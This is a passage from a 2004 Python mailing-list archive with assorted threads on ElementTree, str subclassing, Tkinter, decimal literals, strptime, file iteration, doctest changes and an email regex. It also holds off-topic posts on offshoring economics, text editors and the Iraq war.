allowed to pay normal Indian rates, and then it could add, say, 20% profit on top, and resell the software or services those employees produce to IBM, TI, think3, and so forth. Why allow IBM to sensibly keep Indian offices, just because it's had them for fifty years, after all? Just because (say) an IBM salesman in India has a cost of living that's 1/3rd as much as his counterpart in the Bay Area (if that), it's surely no reason to allow IBM to employ that salesman directly to sell IBM products in India, is it? Let's force IBM to pay Wipro, or whoever, to hire that guy at normal Indian wages, instead, to sell IBM's products on behalf of IBM. Now _that_ will surely fix everything. Let's subsidize Wipro at IBM's, TI's, etc, expense, yeah, that's the ticket. It will be hard on the US retirees who directly or indirectly own most IBM or TI stock, of course, since IBM's expenses will go up and profits down, right out of the pockets of mostly-US, mostly-small stockholders, and into the pockets of Wipro stockholders, mostly substantial Indian entrepreneurs and capitalists (darn few pension funds or small individual stockholders those parts). But hey, I'm sure Azim Premji and the rest need the money much more than John Smith needs his TI dividends to help pay for his retirement... > Programmers in developing countries generally are employed by local > employers who pay them more than the previous local prevailing wage. In Most programmers in developing countries are indeed employed by local employers, but far from all: large-enough American and European companies often prefer to open their own branch offices, and hire locals, rather than operating indirectly through Wipro and the like, which would basically mean letting Wipro, etc, just cream off a middleman's fee. The wages paid by Wipro and friends, or by IBM, think3, TI, Motorola, etc etc, are of course very comparable: it's a highly competitive labor market with a lot of mobility, nobody would get away with paying less than other employers, not if they have any hope of keeping their best people, at least. The market for salespeople is somewhat similar. Large companies who are trying to sell directly to the local markets often prefer to hire their own salespeople directly, for all sorts of reasons, rather than outsourcing all of their sales efforts to local firms. But of course if they had to pay local salespeople three times as much as local firms are paying the same salespeople, they'd demur -- they would pay the commissions / middleman fees / etc to the local firms, as well as resigning themselves to selling less (a typical local firm reselling, say, HP printers, is likely to also offer other cheaper competing brands; so, if HP wants to make sure they sell printers, they would really like an HP-owned branch office... but couldn't afford one if the same salespeople cost three times as much when employed directly by HP, as when employed by a local firm selling the same HP products...!-). > terms of real economic goods -- food, clothing, housing, internet service, > and so on -- their pay may be comparable to that of programmers in the > 'industrial' nations. It's hard to compare, because the basket of real economics goods and services consumed tends to be SO different, depending on local mores and local economic realities. I haven't been in close touch with Indian realities for a while, but my first wife had her major in Hindi, often traveled there, had local friends and university colleagues who had set up import-export arrangements with India, etc, etc. At that time, the concept that a fledging professional (me at the time) would own a car AND a motorbike, TWO TV sets, two cameras, etc, etc, appeared to feel almost incredible to her Indian friends. On the other hand, the idea that said professional had to waste his precious time cooking, cleaning house, tending the garden, etc, rather than just hiring two or three domestic labourers for these purposes, was just as incredible to them (well, my grandmother never really accepted the world could change so deep and so fast -- in _her_ youth, even in Italy, a car was a silly rich man's luxury, but _of course_ a middle-class family would have at least a couple of people working for them as domestic help!). Basically, easily transportable/tradable goods and services tend to have more similar prices across different economies -- not considering absurdly high and punitive tariffs that distort things (generally raising the prices of clothing here, of cameras in India, etc), a shirt or a camera should cost the same here and there. Goods and most particularly services that _aren't_ easily transportable and tradable are quite a different story; my barber charges me ten times as much as a Mumbai barber would, taking advantage of the cost and inconvenience it would be for me to have my head sent to Mumbai for hairstyling...:-). > Their apparent cheapness per comparable output is largely a function of > exchange rates at least partly distorted by centuries of government force. I don't think exchange rates are that badly out of whack, nor that the legacy of centuries has much importance determining the rates of today. Itay has been united as a single country for over 140 years now, so exchange rates don't enter into it; yet the cost of living in some small, half-forgotten southern village versus, say, downtown Milano, is _quite_ skewed anyway. That IS quite a problem for jobs which pay the same in both places: a school teacher is still quite well to do in the little southern village, he's a pauper in downtown Milano. So why doesn't all of Italy's industry and software production RUSH southwards...? Hey, there's even plenty of government subsidies available to lure firms there. And yet it doesn't happen, because firms still mostly judge that the higher productivity of the North (better infrastructure, rule of law working better, easier contact with suppliers and customers, more potential employees milling around, ...) trumps the cheapness and the subsidies of the deep South. > I expect such distortions will lessen as communication makes them less > tenable. I also expect increasing numbers of US knowledge/information > workers with portable skills to take advantage of the distortions while > they last. To some extent, maybe. 140+ years of Italian unity -- no legal barrier whatsoever to living or setting up a firm wherever you prefer, no exchange rate to worry about, etc, etc -- haven't really done much to lessen economic differences between North and South here, nor has there been any rush whatsoever of professionals southwards, on the contrary, the net movement has most definitely been northwards. And aren't things developing similarly in, say, Spain, or Germany (East vs West)...? The US _has_ seen substantial economic growth in the "sun belt", true, but I think it's a reasonably recent phenomenon, isn't it? For over 100 years, say from your Civil War to the 1960's, wasn't, e.g., Alabama, WAY poorer than, e.g., Massachussets -- way lower wages, cost of living, etc... -- and yet, no rush of industry or professionals along that gradient....? (Come to think of it, I don't think the difference has been even nearly wiped out yet -- for some parts of the South, yes, but, what about Alabama for example...?). Personally, I think there will be _some_ modest reduction of differences, and movements back and forth, if legal barriers can be lowered a bit (I don't consider that lowering a certainty), but, judging from these historical examples, I don't think it will reduce diffences by ALL that much... Alex From tiarno at sas.com Mon Sep 27 13:39:34 2004 From: tiarno at sas.com (Tim Arnold) Date: Mon, 27 Sep 2004 13:39:34 -0400 Subject: elementtree behavior Message-ID: I have an XML snippet that I parse with ElementTree, and I get an element called self.makeToc Now this code: print self.makeToc if self.makeToc != None: print 'here' if self.makeToc: print 'but not here' gives this result: here Clearly self.makeToc has a value, so why isn't "if self.makeToc" True? That is, if self.makeToc isn't None, why don't I get past 'if self.makeToc' Can someone point out what am I not understanding? thanks, --Tim From pit.grinja at gmx.de Mon Sep 6 12:43:08 2004 From: pit.grinja at gmx.de (Piet) Date: 6 Sep 2004 09:43:08 -0700 Subject: How to actually write a program? References: Message-ID: <39cbe663.0409060843.297fc11@posting.google.com> Hello, now my 2 cents about this topic... 1. Get a good text editor. When you already sit in front of an empty file, this point is apparently done ;-) 2. Get a or "the" revision control system. It is freely available for personal use. 3. Do not start with a program that only accepts input from the console and sends output to the console, but learn how to handle files so that you can store the information you fed into your program and the data you get out. 4. Don?t try to make your code as short as possible, but as readable as possible. Don?t put too many statements in a single line. Don?t use too many list comprehensions and stuff like that in the beginning too frequently. 5. Document your code lines from the very beginning. Don?t leave out any commenting of your code because in the moment you code it is just completely clear to you what the code means, is supposed to do and how it works. It neccessarily won?t be that clear tomorrow. 6. Don?t make your variable names too short. Give them names that describe what they are, and try to use similar name patterns for similar variables. Use names that can be unambigously identified by a search pattern, so that you will find occurences of variables quickly without too much overhead. 7. Oops, I almost forgot: get a language that can be learned quickly so that you get your code together without too much head scratching, but a language that lets you also use advanced concepts when you are ripe for them. Since you are posting in comp.lang.python, this is apparently already done as well. Have fun Peter From bokr at oz.net Fri Sep 24 20:35:55 2004 From: bokr at oz.net (Bengt Richter) Date: 25 Sep 2004 00:35:55 GMT Subject: Why not FP for Money? References: Message-ID: On Fri, 24 Sep 2004 17:12:06 -0300, Carlos Ribeiro wrote: >On Fri, 24 Sep 2004 16:37:56 -0300, Batista, Facundo > wrote: >> [Paul Rubin] >> >> #- I really do think now that if we're serious about supporting >> #- decimals, >> #- we need decimal literals. >> >> What do you mean with "decimal literals"? > >If I got Paul right, it means the same I've been advocating: a >notation to write floating point decimals directly without the need to >pass strings or floats. We've proposed some alternatives: > >1) 'd' suffix: a = 10.123d >2) '$ prefix: a = $10.123 > >Both alternatives are clean and easy to read, even for novices. The >'d' suffix is closer to what Python does already for longs (the 'L' >suffix). The dollar sign is easily recognized, even outside US, as a >money sign (it would be better for money/fixed point, really). The >changes to the parser are minimal, and there is *no* chance of any of >the proposed alternatives being of the 'that's already being used >class' -- no keywords are needed. It's just a matter of getting BDFL's >grace for this . > >For now, I'm just playing with the alternatives -- it's pretty much >like the big decorator debate, only the timing is better :-) (just >joking, really -- a good literal notation is *much* needed to allow >use of decimals without binary floating point surprises happening from >time to time). > Thinking a little more, it occurs to me that there are some little details though ;-) E.g., what should the result of 12.34d + 10.005d be? 12.345d or 12.35d ? I would vote to preserve at least as many decimals as the literal with the most in a sum or difference, but what should the result of 0.1d * 0.1d be? 0.0d or 0.01d ? ISTM maybe decimal _literals_ should be represented internally _exactly_, and exactness be preserved in results of expressions involving only literals with +-*/ operations. Then rules could be made for how to round such values when involved in expressions with Decimal instances, where I gather[1] a "context" is used to preselect rounding rules and number of decimals to result from any operation. Exact is easy enough for +-*/ with (num, den, pow10) representing the exact value of (num/den)*10**pow10. BTW what does the Decimal module do with Decimal arguments that have different numbers of decimals? BTW, a slight extension of the d suffix notation might be an optional count suffixed to the d, e.g., 1.200d == 1.2d3 etc., but there's no need if literals are always exact until they are used with Decimal instances. [1] Sorry I haven't read the specs, I just haven't goten to it ;-/ Regards, Bengt Richter From russblau at hotmail.com Tue Sep 14 09:30:43 2004 From: russblau at hotmail.com (Russell Blau) Date: Tue, 14 Sep 2004 09:30:43 -0400 Subject: subclassing str References: Message-ID: <2qoa49F11il3cU1@uni-berlin.de> "Thomas Lotze" wrote in message news:pan.2004.09.14.12.56.19.344018 at ID-174572.user.uni-berlin.de... > For an application, I need a special string-like object. It has some > specific semantics and behaves almost like a string, the only difference > being that it's string representation should be somewhat fancy. I want > to implement it as a subclass of str: ... > That is, I want to be able to make a SpecialString from anything that has > a string representation, but at the same time leave a SpecialString > untouched in the process. After all, it already is and gets formatted as a > SpecialString. > > I tried the following: > > class SpecialString(str): > def __str__(self): > return "(" + self + ")" > > This makes for str(x) => '(foo)' but str(y) => '((foo))' - as expected. > > Does this accumulation of braces happen in the string itself, or does the > formatting routine get called several times at each str() call? How to fix > it, depending on the answer? > > I tried reimplementing __init__() in order to treat the case that a > SpecialString is given to the constructor, but with little success. I think you need to use __new__() instead of __init__(), like so: >>> class SpecialString(str): def __new__(cls, seq): if isinstance(seq, SpecialString): return str.__new__(cls, str(seq)[1:-1]) else: return str.__new__(cls, seq) def __str__(self): return "(" + self + ")" >>> x = SpecialString("foo") >>> y = SpecialString(x) >>> print x (foo) >>> print y (foo) For more info, see http://www.python.org/2.2.1/descrintro.html#__new__ -- I don't actually read my hotmail account, but you can replace hotmail with excite if you really want to reach me. From jsaunders at internetbusinesslinks.net Fri Sep 10 08:30:21 2004 From: jsaunders at internetbusinesslinks.net (Jamey Saunders) Date: 10 Sep 2004 05:30:21 -0700 Subject: Changing state of buttons. References: <41d499da.0409090946.37bc2739@posting.google.com> Message-ID: <41d499da.0409100430.624431fb@posting.google.com> Brian Szmyd wrote in message news:... > Hi Jamey, > > First off, many people will agree when I say ditch Tkinter, and switch to > wxPython. Never the less... > > Not knowing a lot of Tkinter I would guess you can initialize these buttons > to be in the "greyed out" state, and create an event on the two input > fields that checks for any data input. Make the event call some validation > function if you need it, and change the state of the button to "non-greyed > out" if all is well! > > -regards > brian szmyd Hi Brian, Thanks for the recommendation on wxPython. I'll check it out. It's not like I've lost a ton of time learning Tkinter. That does bring up the question of why is wxPython better than Tkinter, though. The basic idea you recommend is exactly what I want to do, but the problem I'm having is actually changing the buttons' state. I have them initialized to inactive, and I'm checking the input fields for data. My problem is that I don't know (and can't find an example anywhere) how to change the state of a button that has already been packed. I'll check out wxPython, though. It may be that I'm just using the wrong GUI extensions... Thanks again, Jamey Saunders From andywil at nortelnetworks.com Wed Sep 15 10:11:43 2004 From: andywil at nortelnetworks.com (Andy Wilson) Date: Wed, 15 Sep 2004 16:11:43 +0200 Subject: Strptime Issues Message-ID: <588B15E2E2B1D41180B800508BF934F211DDA823@bmdhd6.europe.nortel.com> Hi, I have found some issues with the _strptime.py module in release 2.3.4, I was wondering if these are being addressed or someone can give me any assistance. 1. I have code that uses a time string format of %Y%U%w, where %U is week number and %w is day of the week. In release 2.3.x this appears broken. Earlier code using python 1.5.2 works OK. See this link for more info http://groups.google.com/groups?q=strptime+bug+glawster &hl=en&lr=&ie=UTF-8&group=comp.lang.python.*&selm=2e3b9aea.0406110245.32b59c 14%40posting.google.com&rnum=1 2. In using Freeze to build a Solaris executable I get a "no module strptime" error. The module has not been statically linked into the executable (as far as I can tell); are there any issues around timemodule.c and strptime? I have had to do some changes to Modules/Setup in the distribution to get other modules "linked" but am at a loss for this one. Regards, Andy Wilson -------------- next part -------------- An HTML attachment was scrubbed... URL: From enno.middelbergREMOVE_ME at csiro.au Wed Sep 15 17:48:11 2004 From: enno.middelbergREMOVE_ME at csiro.au (Enno Middelberg) Date: Thu, 16 Sep 2004 07:48:11 +1000 Subject: Align numbers at decimal point In-Reply-To: <10kh3mm65tnl8a6@corp.supernews.com> References: <2qqe5vF11pk6jU1@uni-berlin.de> <10kh3mm65tnl8a6@corp.supernews.com> Message-ID: <2qrrkrF12mdmiU1@uni-berlin.de> Peter, Alex, and Michael: thanks for your suggestions and comments. I'll pick one of your solutions depending on my needs. Regards, Enno -- Remove "REMOVE_ME" for PM replies From jmfbahciv at aol.com Thu Sep 2 09:10:34 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Thu, 02 Sep 04 13:10:34 GMT Subject: Xah Lee's Unixism References: <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <4134AC88.56452265@yahoo.com> <4135cea1$0$19726$61fed72c@news.rcn.com> <%hmZc.17354$ni.569@okepread01> Message-ID: <41372e97$0$19727$61fed72c@news.rcn.com> In article , joe at invalid.address wrote: >Steve Holden writes: > >> jmfbahciv at aol.com wrote: >> >> > In article , >> > red floyd wrote: >> > >> >>CBFalconer wrote: >> >> >> >> >> >>>Dump Notepad and get Textpad. www.textpad.com. First class. >> >>> >> >> >> >>Let the editor flame wars begin! >> >> >> >>Get gvim! www.vim.org >> > You think notepad is an editor? You must be young >> > and inexperienced in the ways of Real Man's Editing sports. >> > >> My choice? Definitely TECO, a real programmable editor from the >> TOPS10 days. >> >> It would create a file if invoked by the "make" command. If you >> typed "make love" it would respond with "...not war?" before >> beginning the edit. > >But can it quote Zippy the Pinhead? Who? /BAH Subtract a hundred and four for e-mail. From steve at holdenweb.com Mon Sep 27 08:38:22 2004 From: steve at holdenweb.com (Steve Holden) Date: Mon, 27 Sep 2004 08:38:22 -0400 Subject: synchronize a block In-Reply-To: References: <2rqduhF1di4lmU1@uni-berlin.de> Message-ID: Peter Hansen wrote: > Thomas Rademacher wrote: > >> Hallo, >> >> I want to synchronize the main function of my script. I havn't a class >> structure in my script. >> >> def main(): >> # my code to synchronized >> >> if __name__=='__main__': >> main() >> >> How can I resolve this problem simply? > > > What do you mean here by "synchronize"? Normally, I believe, > it's a term used in multithreaded applications... it has > nothing to do with "class structures" or anything else other > than as a means to coordinate two or more threads of execution. > > (Guessing) If you have seen examples of code that does > synchronize but it's all based on subclasses of threading.Thread, > then maybe you just need to know that the main thread is > actually wrapped with a proxy in the threading class when > it's imported, and you can just use any normal synchronization > technique that you would have used in a thread subclass... > (somehow I doubt that's where you were going with this). > "In the face of ambiguity, refuse the temptation to guess" :-) One of the best features of c.l.py is how questions phrased in the most ambiguous terms are often slowly elaborated into meaningful enquiries. regards Steve From spam at nimblegen.com Tue Sep 14 10:55:49 2004 From: spam at nimblegen.com (Chuck Dillon) Date: Tue, 14 Sep 2004 09:55:49 -0500 Subject: Xah Lee's Unixism In-Reply-To: <10kcn40mkm43c8f@corp.supernews.com> References: <10kcn40mkm43c8f@corp.supernews.com> Message-ID: SM Ryan wrote: > > # 6) It underscores that 9/11 should go into the "bad idea" category for > # future planners of Islamic extremist operations. > > Again only you and Dick Cheney believe Iraq had anything to do with > terrorism. I don't think anything of the kind. I have no evidence that they were involved. Whether they were or not is not the point. My point is that removal of the Iraqi regime *underscores* the potential consequences of actions like 9/11. It underscores it because Iraq was the largest Arab military power in the region. > The real terrorist are back in Afghanistan laughing their > butts off; they are safe today than two years ago because the USA > abandonned the war on terrorism. The only terrorist organisation that I very much doubt you really think the above to be true. -- ced -- Chuck Dillon Senior Software Engineer NimbleGen Systems Inc. From aleaxit at yahoo.com Tue Sep 21 09:12:31 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 21 Sep 2004 15:12:31 +0200 Subject: python vs c# References: Message-ID: <1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com> julio wrote: ... > what about google ? Hmmm, what about them? I recently heard they bought a few hundred copies of "Python in a Nutshell", which of course can't fail to please me, but then, we already knew Norvig, their director of search quality, had recently said "Python has been an important part of Google since the beginning, and remains so as the system grows and evolves. Today dozens of Google engineers use Python, and we're looking for more people with skills in this language." -- so, their purchase is no surprise. If you must troll, at least troll with some skill, "julio". Better still, as many have already suggested, just go away, thanks. Alex From claird at lairds.us Sun Sep 26 02:08:03 2004 From: claird at lairds.us (Cameron Laird) Date: Sun, 26 Sep 2004 06:08:03 GMT Subject: open and shut case References: Message-ID: In article , Erik Heneryd wrote: >Elaine Jackson wrote: >> Can python close a web-browser window it opened itself? The window in question >> will be displaying a webpage that resides on the local computer, which is >> running Windows 98. Knowing a way to do this would really help me out. > >Not easily. I guess something like this could work, if you have Mark >Hammonds win32 extensions installed: > >(very untested) > >import os, win32api ># start browser >pid = os.spawnlp(os.P_NOWAIT, "iexplore.exe", "iexplore.exe", >r"c:\blabla\hej.html") ># ... ># kill browser >win32api.TerminateProcess(pid, 0) . . . Did this meet your needs, Ms. Jackson? If not--if there's an issue with win32api, or you're looking to use the default browser, insofar as that differs from iexplore.exe, or ...--there are several other approaches to this problem. From bingham at cenix-bioscience.com Thu Sep 9 02:05:46 2004 From: bingham at cenix-bioscience.com (Aaron Bingham) Date: Thu, 09 Sep 2004 08:05:46 +0200 Subject: print and % operator In-Reply-To: <413FF221.1080103@cenix-bioscience.com> References: <82880e86.0409082143.7e50aa98@posting.google.com> <413FF221.1080103@cenix-bioscience.com> Message-ID: <413FF2BA.4010209@cenix-bioscience.com> Ruchika wrote: > I am new to Python, so this may be a very simple question for most of > you. What does the % operator stand for in Python? http://www.python.org/doc/2.3.4/lib/typesseq-strings.html -- -------------------------------------------------------------------- Aaron Bingham Application Developer Cenix BioScience GmbH -------------------------------------------------------------------- From pwatson at redlinepy.com Fri Sep 10 12:45:51 2004 From: pwatson at redlinepy.com (Paul Watson) Date: Fri, 10 Sep 2004 11:45:51 -0500 Subject: A bug with file.tell()? References: Message-ID: <2qe422Fuhe2aU1@uni-berlin.de> "Nick Jacobson" wrote in message news:f8097096.0409100344.2594797b at posting.google.com... > It gets weirder: > > I added the second fp.read(3) statement below. And that statement > doesn't print anything out! It (fp.read(3)) thinks it's at the end of > the file, while the next statement "for line in fp" thinks it's not > (and reads "asdf")! > > Now I'm definitely confused. > > > > fp = file("testcrlf.txt") > #read in some of the file: > > print fp.read(3) > for line in fp: > if line == "blah3\n": > break > fpos = fp.tell() #save the current position... > > print fp.read(3) > for line in fp: > print line #prints "asdf", so it wasn't at the end of the file > > fp.seek(fpos) #rewind? > for line in fp: > print line #prints nothing, because it's at the end of the file! The first "for line in fp" created an iterator for the file that has a read-ahead buffer. While your loop operated on one line at a time, under the covers the iterator read more of the file to improve speed performance. With a file of this size, it is likely that the entire file was read at once. Because of that, the file pointer was already at the end of file. The fact that your loop had only processed three of the lines is not know to File.tell(). Is this a bug? While it is documented, it means that tell() and seek() cannot be used if a file is processed by an iterator. The documentation for seek() says that "only offsets returned by tell() are legal." One person's documented behavior is another person's bug. The documentation for tell() should probably mention this fact. From tim.peters at gmail.com Sat Sep 4 20:19:08 2004 From: tim.peters at gmail.com (Tim Peters) Date: Sat, 4 Sep 2004 20:19:08 -0400 Subject: gmpy 1.0 for python 2.4 alpha 2 Windows-packaged In-Reply-To: References: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com> <1gjj6pv.jq35ww5lr1jvN%aleaxit@yahoo.com> Message-ID: <1f7befae04090417196f0de977@mail.gmail.com> [David Bolen] > At least when I ran it, the tests themselves (the doctest.testmod) > calls worked fine. The rand exceptions seemed to just be a difference > in reporting in 2.4, for example most of them were of the form: > > - - - - - - - - - - - - - - - - - - - - - - - - - > Failure in example: r('error',1,2,3) > from line #2 of gmpy_test_rnd.rand in e:\usr\src\gmpy\test\gmpy_test_rnd.pyc > Expected: > Traceback (most recent call last): > File "", line 1, in ? > TypeError: function takes exactly 2 arguments (4 given) > Got: > Traceback (most recent call last): > TypeError: function takes exactly 2 arguments (4 given) > - - - - - - - - - - - - - - - - - - - - - - - - - > > However, when I try one of those tests interactively, Python 2.4 seems > to give me the "File" line too (indented, but it's also indented under > 2.3, so I'm assuming the lack of indentation is unimportant to > doctest). It's actually crucial . I explained the gory details in another posting. The bottom line is that the doctest should be changed to indent the File line, just like it's always been indented in a real traceback. doctest in 2.4 cares about this, in order to support an important new feature (multiline exceptions). doctests prior to 2.4 didn't care, but they're perfectly happy whether or not that FIle line is indented. 2.4 needs the indentation, in order to guess where the exception part starts. > So I guess I can't say for sure that this isn't something > impacted by a change in doctest. The doctest module docs for > both 2.3 and 2.4 seem to imply it should only be checking the > exception type/value That's true. > (the last line), That's not -- in 2.4 it can span any number of lines. From the current 2.4 docs: Each line of the traceback stack (if present) must be indented further than the first line of the example, or start with a non-alphanumeric character. The first line following the traceback header indented the same and starting with an alphanumeric is taken to be the start of the exception detail. Of course this does the right thing for genuine tracebacks. Changed in version 2.4: The ability to handle a multi-line exception detail was added. The good news is that it should be dead easy to fix. From jzgoda at gazeta.usun.pl Tue Sep 7 15:09:28 2004 From: jzgoda at gazeta.usun.pl (Jarek Zgoda) Date: Tue, 7 Sep 2004 19:09:28 +0000 (UTC) Subject: i18n and GUI under Windows References: Message-ID: Andr? Roberge pisze: > In short: I'm looking for a *simple* example of how to write a program > that can have its GUI in at least two languages under Windows ... > using only Python, of course! http://wiki.wxpython.org/index.cgi/Internationalization This applies to all Python programs, not only wxPython based. Just follow instructions. -- Jarek Zgoda http://jpa.berlios.de/ From fuzzyman at gmail.com Wed Sep 15 15:57:35 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 15 Sep 2004 12:57:35 -0700 Subject: Python Oddity - print a reserved name References: <6f402501.0409150404.75292b5a@posting.google.com> Message-ID: <6f402501.0409151157.56b8d517@posting.google.com> Duncan Booth wrote in message news:... > Michael Foord wrote: > > >>> something.__dict__['print'] = 3 > > Or, slightly prettier, use: > > setattr(something, 'print', 3) > > > See that I can't set the something.print attribute directly, but can > > set it indirectly. Is this behaviour 'necessary' or just an anomaly of > > the way IDLE detects Syntax Errors ? > > > > No, that is simply how Python works. You can only use the direct syntax to > set attributes whose names are valid Python identifiers, but indirectly you > can use any string at all as the attribute name. It doesn't do any harm and > sometimes it can be extremely useful. > > You can do this pretty much anywhere that Pythonn uses a dict internally. > For example you can call functions with arbitrary keyword arguments > provided you use the ** syntax. Right - but although 'print' is a reserved word there is no *need* for object.print to be reserved.. and as Alex has pointed out that could actually be damned inconvenient.......... Oh well..... Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From porky_pig_jr at my-deja.com Wed Sep 1 21:24:02 2004 From: porky_pig_jr at my-deja.com (Porky Pig Jr) Date: 1 Sep 2004 18:24:02 -0700 Subject: I think a problem occured when i used long() References: <8f17f4bc.0409011101.5ace996@posting.google.com> Message-ID: <56cfb0e3.0409011724.3e4c2111@posting.google.com> alikakakhel3 at hotmail.com (Ali) wrote in message news:<8f17f4bc.0409011101.5ace996 at posting.google.com>... > I did the folloing in python shell: > > >>> x = 5.07e-25 > >>> x = long(x) > >>> print x > 0L > > Um... I was under the impresion that long numbers had very very long > precision. But, it seems that in this case it rounded it to zero :( > > Please Help. Thank you :) Long numbers are still integers. in any case, python floating point is C double (rather than float), most likely 64 bits with 53 bits for precision. Incidently, I remember seeing the thread somewhere re whether we need 128bit floating representation (with similarly adjusted number of bits for precision) and the general consensus was that the double covers pretty much all the bases. From rho at see.signature.invalid Sun Sep 5 06:30:50 2004 From: rho at see.signature.invalid (Nigel Rowe) Date: Sun, 05 Sep 2004 20:30:50 +1000 Subject: Module name conflict with standard library References: <87k6v9o8cg.fsf@news2.ososo.de> <4edc17eb.0409042332.5730eed7@posting.google.com> Message-ID: <10jlqmr85klsb0a@news.supernews.com> Anthony Baxter wrote: > On 5 Sep 2004 00:32:38 -0700, Michele Simionato > wrote: >> Am I correct? I do really really like PEP328 since I was bitten by >> this kind of problems myself in the past. Will it be implemented fully >> in time for 2.4.b1? > > It seems doubtful, unfortunately, unless someone steps forward Real > Soon to champion the PEP and get it done. In the mean time, http://hkn.eecs.berkeley.edu/~dyoo/python/__std__ can help at least some of the problems. -- Nigel Rowe A pox upon the spammers that make me write my address like.. rho (snail) swiftdsl (stop) com (stop) au From markus.cl at gmx.de Mon Sep 20 22:20:07 2004 From: markus.cl at gmx.de (Markus Dehmann) Date: 20 Sep 2004 19:20:07 -0700 Subject: Python for Perl programmers? Message-ID: I am using perl for everything, even bigger programs, with objects, uh, modules and stuff. I know pretty much every trick in perl and have a lot of experience. But I'd like to try a cleaner language, where you don't have to type so much crap to create a class etc. So, I wanna give python a try. Is there a tutorial that takes all the standard perl things and then explains how to do them in python? That would be perfect. Open a file, take all the words, put them in a hash, do something with them, print the result in a formatted way, write it to a new file etc. Create a class that downloads newsgroups, etc. Things like that. I don't need long explanations, but just the perl code and the corresponding python code. Maybe that even helps seeing: ah, python is much cleaner, or shorter, or whatever. I mean, if I want to learn French and I already know a lot about languages, it's probably good not to learn all the grammar, but just to take an English book and the French translation, and learn from it. I want to do the same to learn python. Thanks for every hint! Markus From narshe at gmail.com Tue Sep 21 11:41:10 2004 From: narshe at gmail.com (Josh Close) Date: Tue, 21 Sep 2004 10:41:10 -0500 Subject: OT: regex to find email In-Reply-To: <5a309bd304092108153f18189a@mail.gmail.com> References: <4a0cafe204092108038020f72@mail.gmail.com> <5a309bd304092108153f18189a@mail.gmail.com> Message-ID: <4a0cafe204092108416b34a00f@mail.gmail.com> On Tue, 21 Sep 2004 20:45:29 +0530, Steve wrote: > Hi Josh, > > I've been trying to find a good regex to parse emails, but haven't > > found any to my liking. I basically need to have > > I'm assuming you meant 'good regex to parse email ids'. I knew someone > would want this someday :). Here goes: > import re > r = re.compile (r"""(?P["(].+[")]\s)? # The name preceding > the id, if any > (?P[<\w]+[-\w.<+]+@(\w+\.)+[\w>]+) # The actual id > (?P\s["(].+[")])? # The > trailing name if any > """, re.VERBOSE) > re.search(r, '-sdf at sdf.cas').group('mailid') > > HTH > Steve > This doesn't exactly work because if an email is -name at domain.tld then it picks it up as name at domain.tld, when it should be an invalid id. -Josh From mark at prothon.org Fri Sep 3 15:10:09 2004 From: mark at prothon.org (Mark Hahn) Date: Fri, 3 Sep 2004 12:10:09 -0700 Subject: Announcing PyCs, a new Python-like language on .Net References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <1093794853.349452@news.commspeed.net> <41357372.E263DE37@alcyone.com> <8548c5f3.0409010533.1fed5008@posting.google.com> <1hhcev52r31j6.1nier31029dhk.dlg@40tude.net> Message-ID: <486wnxz6ibq$.181vopiedpmhp$.dlg@40tude.net> On Thu, 02 Sep 2004 21:55:30 GMT, Lucas Raab wrote: > "Mark Hahn" wrote in message > news:1hhcev52r31j6.1nier31029dhk.dlg at 40tude.net... >> On 1 Sep 2004 06:33:57 -0700, Anand Pillai wrote: > [snip..] >>> o How does it differ from Mark Hammond's Python for .NET ? >> >> Totally different. >> > > BUT HOW IS IT DIFFERENT??? You never answered the question. > >>> o How does it differ from Jim Hugunin's IronPython ? >> >> IronPython is an implementation of the compatible current Python on .Net >> except for the libraries. PyCs is more like Python 3000 in that it is >> incompatible, with advanced Python features. The advanced features are >> from Prothon (mostly fixes of Python gotcha's) and from C-Omega. >> > > So it's not like Python if it's incompatible. > > [snip..] > > Why not write a paper _clearly_ stating what makes Pyxc different from the > other Python .NET implementations?? I'm sure if you have a cleanly written > paper all of this mass confusion would not be necessary. Sorry, if this is a > flaming post, but nothing seems to be solid on what's going on. I have written about it at length. See http://pycs.org and our wiki which is linked there. From aahz at pythoncraft.com Tue Sep 21 20:46:55 2004 From: aahz at pythoncraft.com (Aahz) Date: 21 Sep 2004 20:46:55 -0400 Subject: __cmp__ deprecation (was Re: Python 3.0, rich comparisons and sorting order) References: <864d370904092109509df67ee@mail.gmail.com> Message-ID: In article , Carlos Ribeiro wrote: > >Given all the arguments, I'm changing my approach to the sorting >problem. My proposal is that sortable objects should provide a __key__ >method. sort() already accepts a key function to be passed. As of >today, there are 4 different ways to customize sorting behavior: > >1) passing a comparison function to sort(); >2) passing a key generation function to sort(); >3) implementing __cmp__; >4) implementing rich comparison methods. > >If the current sorting behavior is to be changed -- as proposed for >Py3K --, I think that relying on methods such as (3) and (4) is not a >good idea; __cmp__ is already on the way to deprecation, and rich >comparisons are already being extended for other uses that have >nothing to do with sorting. AFAIK, there are no plans to officially deprecate __cmp__; there are too many use cases for needing a three-way comparison, and when it's expensive to compare objects, you want to do it only once. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "A foolish consistency is the hobgoblin of little minds, adored by little statesmen and philosophers and divines." --Ralph Waldo Emerson From english at spiritone.com Mon Sep 20 16:44:46 2004 From: english at spiritone.com (Josh English) Date: 20 Sep 2004 13:44:46 -0700 Subject: Binding? problem References: Message-ID: <80224718.0409201244.33be04af@posting.google.com> Thanks for the help. I finally got a chance to play with this and I think I can get it to work. Josh English From fumanchu at amor.org Wed Sep 15 11:42:46 2004 From: fumanchu at amor.org (Robert Brewer) Date: Wed, 15 Sep 2004 08:42:46 -0700 Subject: comparing datetime with date Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022ED8@exchange.hqamor.amorhq.net> Donnal Walter wrote: > Perhaps I am guilty of not explaining what I was trying to > do. I have an > abstract class (called Cell) that implements a form of the observable > pattern. When x.set(...) is called, it check to see if the > new value is > different from the old value before making the change and notifying > observers. The abstract Cell class has a lot of other > functionality, as > well, but this is the critical feature. Then I have at least three > subclasses: one for text (strings), one for numbers, and one for > timepoints. Althought the internal value representation is > different for > all three, they all use the same basic set(...) method. In my first > implementation, the internal representation for TimePoint was > going to > be a datetime.datetime object. Sometimes, however, one knows a 